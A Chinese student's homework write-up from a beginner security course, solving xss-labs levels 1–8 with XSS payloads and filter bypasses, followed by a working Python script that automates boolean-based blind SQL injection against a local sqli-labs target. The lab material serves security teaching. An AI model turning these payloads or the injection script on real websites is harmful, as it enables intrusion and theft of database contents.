初级安全课第二次作业

(一)xss-labs 1~8关

1、前期准备

(1)打开小皮面板,并启动Apache和MySQL

(2)将 xss-labs放到 phpstudy_pro 的 WWW 目录下

(3)访问连接:http://localhost/xss-labs/

LEVEL1:

name=test可以在页面中直接显示,所以可以直接尝试将其字段改写为简单的触发脚本:

html 复制代码
name=<script>alert(123)</script>

闯关成功

LEVEL2:

直接尝试注入触发脚本没有成功,但是知道了注入之后会在哪输出,所以需要在输出的地方把多余的部分处理一下,确保触发脚本的可执行性

html 复制代码
"><script>alert(123)</script>//

用">将左边多余的语句闭合,再用//把右边多余的">注释

闯关成功

LEVEL3:

第三关尝试与上一关相同解法,发现使用"<>等符号无效使其无法闭合,查看原代码

发现使用了htmlspecialchars函数,经过查询发现此函数能将特殊字符转换实体化,但是'并没有被实体化。

对次我们可以使用onclick事件绕过。onclick 是 HTML 中常用的事件处理属性,当元素被点击时触发。

'οnclick='alert(123)

用' '将前面闭合

点击"搜索后"再点击搜索框即闯关成功

LEVEL4:

同上一关一样,只是闭合方式有所区别:

"οnclick='alert(123)'

LEVEL5:

输入payload发现进行了敏感词注释(在敏感词的某个字母后面加入了_)

查看源代码:

发现不让我们用script和有on字母的方法

那我们可以使用a href(超链接)的方法进行尝试

要想写新的标签需要闭合前面的标签

然后点击超链接"xxx"即可

LEVEL6:

同上一关,不让用script和on

尝试上一关过法,发现a href标签无效

查看原代码:

发现data和href标签被禁用,但是大小写没有被禁用,可尝试使用大写绕过

闯关成功

LEVEL7:

这关直接把相关字母全部消除(比如script和on)

查看源代码,发现敏感词被替换成了" "

我们尝试双写:

闯关成功

LEVEL8:

这一关将输入框的内容传到了a href标签

我们可以尝试JavaScript伪代码:

javascript:alert(123)

输入后发现有敏感词处理,因为输入的内容是在a href标签中,所以我们可以尝试将敏感词编码后再输入,看看能不能绕过

使用编码工具编码后输入并点击友情链接:

javascript:alert(123)

闯关成功

(二)python实现自动化sql布尔育注代码优化(二分查找)

1、代码

python 复制代码
import requests
 
# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"
 
# 要推断的数据库信息(例如:数据库名)
database_name = ""
 
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "
 
# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0
 
# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        db_name += charset[right]
    return db_name
 
# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

2、输出结果

完成

相关推荐
GIS数据转换器43 分钟前
2025无人机在农业生态中的应用实践
大数据·网络·人工智能·安全·无人机
广州华锐视点1 小时前
火电厂VR安全培训系统有哪些:广州华锐互动构建 “安全元宇宙” 生态
安全·vr
胡八一3 小时前
30 分钟上手 exp4j:在 Java 中安全、灵活地计算数学表达式
java·开发语言·安全
馨谙3 小时前
SSH密钥认证:从密码到密钥的安全升级指南
运维·安全·ssh
智驱力人工智能6 小时前
疲劳驾驶检测提升驾驶安全 疲劳行为检测 驾驶员疲劳检测系统 疲劳检测系统价格
人工智能·安全·目标检测·目标跟踪·视觉检测
wfsec13 小时前
区块链安全评估:守护数字世界的“安全密码”
安全·区块链
jianghx102416 小时前
Docker部署ES,开启安全认证并且设置账号密码(已运行中)
安全·elasticsearch·docker·es账号密码设置
w236173460117 小时前
Linux 服务器安全巡检与加固:从命令到实操(CentOS/Ubuntu 通用)
linux·服务器·安全·安全加固·安全巡检
星哥说事18 小时前
网络安全设备:入侵检测系统(IDS)、入侵防御系统(IPS)的配置与使用
网络·安全·web安全
李白你好18 小时前
一个Burp Suite插件,用于自动化检测图片上传功能中的XSS漏洞
安全·自动化·xss